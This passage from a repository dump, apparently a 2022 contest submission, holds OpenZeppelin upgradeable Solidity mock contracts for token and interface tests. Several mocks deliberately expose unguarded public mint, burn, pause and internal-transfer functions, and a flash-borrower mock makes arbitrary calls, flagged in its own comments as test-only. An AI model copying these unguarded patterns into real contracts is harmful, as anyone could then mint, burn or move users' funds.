__ERC1155Mock_init_unchained(uri);
__Pausable_init_unchained();
__ERC1155Pausable_init_unchained();
__ERC1155PausableMock_init_unchained(uri);
}
function __ERC1155PausableMock_init_unchained(string memory uri) internal onlyInitializing {}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155Upgradeable, ERC1155PausableUpgradeable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155ReceiverMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155ReceiverUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1155ReceiverMockUpgradeable is Initializable, ERC165Upgradeable, IERC1155ReceiverUpgradeable {
bytes4 private _recRetval;
bool private _recReverts;
bytes4 private _batRetval;
bool private _batReverts;
event Received(address operator, address from, uint256 id, uint256 value, bytes data, uint256 gas);
event BatchReceived(address operator, address from, uint256[] ids, uint256[] values, bytes data, uint256 gas);
function __ERC1155ReceiverMock_init(
bytes4 recRetval,
bool recReverts,
bytes4 batRetval,
bool batReverts
) internal onlyInitializing {
__ERC165_init_unchained();
__ERC1155ReceiverMock_init_unchained(recRetval, recReverts, batRetval, batReverts);
}
function __ERC1155ReceiverMock_init_unchained(
bytes4 recRetval,
bool recReverts,
bytes4 batRetval,
bool batReverts
) internal onlyInitializing {
_recRetval = recRetval;
_recReverts = recReverts;
_batRetval = batRetval;
_batReverts = batReverts;
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external override returns (bytes4) {
require(!_recReverts, "ERC1155ReceiverMock: reverting on receive");
emit Received(operator, from, id, value, data, gasleft());
return _recRetval;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
require(!_batReverts, "ERC1155ReceiverMock: reverting on batch receive");
emit BatchReceived(operator, from, ids, values, data, gasleft());
return _batRetval;
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1155SupplyMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC1155MockUpgradeable.sol";
import "../token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1155SupplyMockUpgradeable is Initializable, ERC1155MockUpgradeable, ERC1155SupplyUpgradeable {
function __ERC1155SupplyMock_init(string memory uri) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC1155_init_unchained(uri);
__ERC1155Mock_init_unchained(uri);
__ERC1155Supply_init_unchained();
__ERC1155SupplyMock_init_unchained(uri);
}
function __ERC1155SupplyMock_init_unchained(string memory uri) internal onlyInitializing {}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155Upgradeable, ERC1155SupplyUpgradeable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1271WalletMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/OwnableUpgradeable.sol";
import "../interfaces/IERC1271Upgradeable.sol";
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1271WalletMockUpgradeable is Initializable, OwnableUpgradeable, IERC1271Upgradeable {
function __ERC1271WalletMock_init(address originalOwner) internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
__ERC1271WalletMock_init_unchained(originalOwner);
}
function __ERC1271WalletMock_init_unchained(address originalOwner) internal onlyInitializing {
transferOwnership(originalOwner);
}
function isValidSignature(bytes32 hash, bytes memory signature) public view override returns (bytes4 magicValue) {
return ECDSAUpgradeable.recover(hash, signature) == owner() ? this.isValidSignature.selector : bytes4(0);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165InterfacesSupportedUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* https://eips.ethereum.org/EIPS/eip-214#specification
* From the specification:
* > Any attempts to make state-changing operations inside an execution instance with STATIC set to true will instead
* throw an exception.
* > These operations include [...], LOG0, LOG1, LOG2, [...]
*
* therefore, because this contract is staticcall'd we need to not emit events (which is how solidity-coverage works)
* solidity-coverage ignores the /mocks folder, so we duplicate its implementation here to avoid instrumenting it
*/
contract SupportsInterfaceWithLookupMockUpgradeable is Initializable, IERC165Upgradeable {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 public constant INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev A mapping of interface id to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself.
*/
function __SupportsInterfaceWithLookupMock_init() internal onlyInitializing {
__SupportsInterfaceWithLookupMock_init_unchained();
}
function __SupportsInterfaceWithLookupMock_init_unchained() internal onlyInitializing {
_registerInterface(INTERFACE_ID_ERC165);
}
/**
* @dev Implement supportsInterface(bytes4) using a lookup table.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Private method for registering an interface.
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165InterfacesSupported: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
uint256[49] private __gap;
}
contract ERC165InterfacesSupportedUpgradeable is Initializable, SupportsInterfaceWithLookupMockUpgradeable {
function __ERC165InterfacesSupported_init(bytes4[] memory interfaceIds) internal onlyInitializing {
__SupportsInterfaceWithLookupMock_init_unchained();
__ERC165InterfacesSupported_init_unchained(interfaceIds);
}
function __ERC165InterfacesSupported_init_unchained(bytes4[] memory interfaceIds) internal onlyInitializing {
for (uint256 i = 0; i < interfaceIds.length; i++) {
_registerInterface(interfaceIds[i]);
}
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165MissingDataUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../proxy/utils/Initializable.sol";
contract ERC165MissingDataUpgradeable is Initializable {
function __ERC165MissingData_init() internal onlyInitializing {
__ERC165MissingData_init_unchained();
}
function __ERC165MissingData_init_unchained() internal onlyInitializing {
}
function supportsInterface(bytes4 interfaceId) public view {} // missing return
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165/ERC165NotSupportedUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../proxy/utils/Initializable.sol";
contract ERC165NotSupportedUpgradeable is Initializable { function __ERC165NotSupported_init() internal onlyInitializing {
__ERC165NotSupported_init_unchained();
}
function __ERC165NotSupported_init_unchained() internal onlyInitializing {
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165CheckerMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165CheckerUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC165CheckerMockUpgradeable is Initializable {
function __ERC165CheckerMock_init() internal onlyInitializing {
__ERC165CheckerMock_init_unchained();
}
function __ERC165CheckerMock_init_unchained() internal onlyInitializing {
}
using ERC165CheckerUpgradeable for address;
function supportsERC165(address account) public view returns (bool) {
return account.supportsERC165();
}
function supportsInterface(address account, bytes4 interfaceId) public view returns (bool) {
return account.supportsInterface(interfaceId);
}
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool) {
return account.supportsAllInterfaces(interfaceIds);
}
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool[] memory) {
return account.getSupportedInterfaces(interfaceIds);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165MockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC165MockUpgradeable is Initializable, ERC165Upgradeable { function __ERC165Mock_init() internal onlyInitializing {
__ERC165_init_unchained();
__ERC165Mock_init_unchained();
}
function __ERC165Mock_init_unchained() internal onlyInitializing {
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC165StorageMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165StorageUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC165StorageMockUpgradeable is Initializable, ERC165StorageUpgradeable {
function __ERC165StorageMock_init() internal onlyInitializing {
__ERC165_init_unchained();
__ERC165Storage_init_unchained();
__ERC165StorageMock_init_unchained();
}
function __ERC165StorageMock_init_unchained() internal onlyInitializing {
}
function registerInterface(bytes4 interfaceId) public {
_registerInterface(interfaceId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC1820ImplementerMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC1820ImplementerUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC1820ImplementerMockUpgradeable is Initializable, ERC1820ImplementerUpgradeable {
function __ERC1820ImplementerMock_init() internal onlyInitializing {
__ERC1820Implementer_init_unchained();
__ERC1820ImplementerMock_init_unchained();
}
function __ERC1820ImplementerMock_init_unchained() internal onlyInitializing {
}
function registerInterfaceForAddress(bytes32 interfaceHash, address account) public {
_registerInterfaceForAddress(interfaceHash, account);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20BurnableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20BurnableMockUpgradeable is Initializable, ERC20BurnableUpgradeable {
function __ERC20BurnableMock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__ERC20BurnableMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20BurnableMock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20CappedMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20CappedUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20CappedMockUpgradeable is Initializable, ERC20CappedUpgradeable {
function __ERC20CappedMock_init(
string memory name,
string memory symbol,
uint256 cap
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Capped_init_unchained(cap);
__ERC20CappedMock_init_unchained(name, symbol, cap);
}
function __ERC20CappedMock_init_unchained(
string memory name,
string memory symbol,
uint256 cap
) internal onlyInitializing {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20DecimalsMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/ERC20Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20DecimalsMockUpgradeable is Initializable, ERC20Upgradeable {
uint8 private _decimals;
function __ERC20DecimalsMock_init(
string memory name_,
string memory symbol_,
uint8 decimals_
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
__ERC20DecimalsMock_init_unchained(name_, symbol_, decimals_);
}
function __ERC20DecimalsMock_init_unchained(
string memory name_,
string memory symbol_,
uint8 decimals_
) internal onlyInitializing {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20FlashMintMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20FlashMintUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20FlashMintMockUpgradeable is Initializable, ERC20FlashMintUpgradeable {
function __ERC20FlashMintMock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20FlashMint_init_unchained();
__ERC20FlashMintMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20FlashMintMock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20MockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/ERC20Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
// mock class using ERC20
contract ERC20MockUpgradeable is Initializable, ERC20Upgradeable {
function __ERC20Mock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Mock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20Mock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function transferInternal(
address from,
address to,
uint256 value
) public {
_transfer(from, to, value);
}
function approveInternal(
address owner,
address spender,
uint256 value
) public {
_approve(owner, spender, value);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20PausableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20PausableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
// mock class using ERC20Pausable
contract ERC20PausableMockUpgradeable is Initializable, ERC20PausableUpgradeable {
function __ERC20PausableMock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PausableMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20PausableMock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function burn(address from, uint256 amount) public {
_burn(from, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20PermitMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20PermitMockUpgradeable is Initializable, ERC20PermitUpgradeable {
function __ERC20PermitMock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
__ERC20PermitMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20PermitMock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20SnapshotMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20SnapshotUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20SnapshotMockUpgradeable is Initializable, ERC20SnapshotUpgradeable {
function __ERC20SnapshotMock_init(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Snapshot_init_unchained();
__ERC20SnapshotMock_init_unchained(name, symbol, initialAccount, initialBalance);
}
function __ERC20SnapshotMock_init_unchained(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) internal onlyInitializing {
_mint(initialAccount, initialBalance);
}
function snapshot() public {
_snapshot();
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20VotesCompMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20VotesCompMockUpgradeable is Initializable, ERC20VotesCompUpgradeable {
function __ERC20VotesCompMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
__ERC20Votes_init_unchained();
__ERC20VotesComp_init_unchained();
__ERC20VotesCompMock_init_unchained(name, symbol);
}
function __ERC20VotesCompMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20VotesMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20VotesUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20VotesMockUpgradeable is Initializable, ERC20VotesUpgradeable {
function __ERC20VotesMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
__ERC20Votes_init_unchained();
__ERC20VotesMock_init_unchained(name, symbol);
}
function __ERC20VotesMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC20WrapperMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20WrapperUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC20WrapperMockUpgradeable is Initializable, ERC20WrapperUpgradeable {
function __ERC20WrapperMock_init(
IERC20Upgradeable _underlyingToken,
string memory name,
string memory symbol
) internal onlyInitializing {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Wrapper_init_unchained(_underlyingToken);
__ERC20WrapperMock_init_unchained(_underlyingToken, name, symbol);
}
function __ERC20WrapperMock_init_unchained(
IERC20Upgradeable _underlyingToken,
string memory name,
string memory symbol
) internal onlyInitializing {}
function recover(address account) public returns (uint256) {
return _recover(account);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC2771ContextMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ContextMockUpgradeable.sol";
import "../metatx/ERC2771ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
// By inheriting from ERC2771Context, Context's internal functions are overridden automatically
contract ERC2771ContextMockUpgradeable is Initializable, ContextMockUpgradeable, ERC2771ContextUpgradeable {
function __ERC2771ContextMock_init(address trustedForwarder) internal onlyInitializing {
__Context_init_unchained();
__ContextMock_init_unchained();
__ERC2771Context_init_unchained(trustedForwarder);
__ERC2771ContextMock_init_unchained(trustedForwarder);
}
function __ERC2771ContextMock_init_unchained(address trustedForwarder) internal onlyInitializing {}
function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address) {
return ERC2771ContextUpgradeable._msgSender();
}
function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) {
return ERC2771ContextUpgradeable._msgData();
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC3156FlashBorrowerMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20Upgradeable.sol";
import "../interfaces/IERC3156Upgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev WARNING: this IERC3156FlashBorrower mock implementation is for testing purposes ONLY.
* Writing a secure flash lock borrower is not an easy task, and should be done with the utmost care.
* This is not an example of how it should be done, and no pattern present in this mock should be considered secure.
* Following best practices, always have your contract properly audited before using them to manipulate important funds on
* live networks.
*/
contract ERC3156FlashBorrowerMockUpgradeable is Initializable, IERC3156FlashBorrowerUpgradeable {
bytes32 internal constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bool _enableApprove;
bool _enableReturn;
event BalanceOf(address token, address account, uint256 value);
event TotalSupply(address token, uint256 value);
function __ERC3156FlashBorrowerMock_init(bool enableReturn, bool enableApprove) internal onlyInitializing {
__ERC3156FlashBorrowerMock_init_unchained(enableReturn, enableApprove);
}
function __ERC3156FlashBorrowerMock_init_unchained(bool enableReturn, bool enableApprove) internal onlyInitializing {
_enableApprove = enableApprove;
_enableReturn = enableReturn;
}
function onFlashLoan(
address, /*initiator*/
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) public override returns (bytes32) {
require(msg.sender == token);
emit BalanceOf(token, address(this), IERC20Upgradeable(token).balanceOf(address(this)));
emit TotalSupply(token, IERC20Upgradeable(token).totalSupply());
if (data.length > 0) {
// WARNING: This code is for testing purposes only! Do not use.
AddressUpgradeable.functionCall(token, data);
}
if (_enableApprove) {
IERC20Upgradeable(token).approve(token, amount + fee);
}
return _enableReturn ? _RETURN_VALUE : bytes32(0);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721BurnableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721BurnableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
contract ERC721BurnableMockUpgradeable is Initializable, ERC721BurnableUpgradeable {
function __ERC721BurnableMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721Burnable_init_unchained();
__ERC721BurnableMock_init_unchained(name, symbol);
}
function __ERC721BurnableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721EnumerableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721EnumerableMockUpgradeable is Initializable, ERC721EnumerableUpgradeable {
string private _baseTokenURI;
function __ERC721EnumerableMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721Enumerable_init_unchained();
__ERC721EnumerableMock_init_unchained(name, symbol);
}
function __ERC721EnumerableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata newBaseTokenURI) public {
_baseTokenURI = newBaseTokenURI;
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
uint256[49] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721MockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/ERC721Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721MockUpgradeable is Initializable, ERC721Upgradeable {
function __ERC721Mock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721Mock_init_unchained(name, symbol);
}
function __ERC721Mock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/mocks/ERC721PausableMockUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721PausableUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @title ERC721PausableMock
* This mock just provides a public mint, burn and exists functions for testing purposes
*/
contract ERC721PausableMockUpgradeable is Initializable, ERC721PausableUpgradeable {
function __ERC721PausableMock_init(string memory name, string memory symbol) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name, symbol);
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
__ERC721PausableMock_init_unchained(name, symbol);
}
function __ERC721PausableMock_init_unchained(string memory name, string memory symbol) internal onlyInitializing {}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
uint256[50] private __gap;
}
================================================
